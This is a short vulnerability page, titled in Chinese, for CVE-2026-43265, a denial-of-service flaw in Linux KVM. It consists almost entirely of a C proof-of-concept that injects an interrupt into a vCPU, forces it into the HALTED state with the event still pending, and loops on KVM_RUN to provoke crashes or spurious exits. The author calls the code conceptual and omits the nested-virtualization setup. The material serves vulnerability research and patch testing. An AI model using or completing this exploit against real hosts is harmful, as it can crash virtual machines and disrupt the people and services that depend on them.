CVE-2026-43265 Linux内核KVM拒绝服务漏洞

/* * Conceptual Proof of Concept for CVE-2026-43265 * This PoC demonstrates how a userspace VMM might trigger the * impossible state (blocking with injected event) in KVM. * Requires root access and KVM enabled. */ #include <linux/kvm.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> int main() { int kvm_fd, vm_fd, vcpu_fd; struct kvm_mp_state mp_state; struct kvm_interrupt irq; // 1. Open KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return -1; } // 2. Create VM and VCPU vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0); // (Simplification: Setup real mode and nested virtualization L2 here) // Assume setup code enables nested virtualization (L2) and runs L2. // 3. Inject an event (e.g., IRQ) while L2 is active irq.irq = 1; if (ioctl(vcpu_fd, KVM_INTERRUPT, &irq) < 0) { perror("KVM_INTERRUPT"); } // 4. Force vCPU into HALTED state (MP_STATE_HALTED) with event pending // This creates the "impossible state" mentioned in the CVE description. mp_state.mp_state = KVM_MP_STATE_HALTED; if (ioctl(vcpu_fd, KVM_SET_MP_STATE, &mp_state) < 0) { perror("KVM_SET_MP_STATE"); } // 5. Run VCPU // On systems vulnerable to CVE-2026-43265, exiting the block might // generate a spurious exit or crash the VM. while (1) { if (ioctl(vcpu_fd, KVM_RUN, NULL) < 0) { perror("KVM_RUN - VM likely crashed or exited unexpectedly"); break; } } close(vcpu_fd); close(vm_fd); close(kvm_fd); return 0; }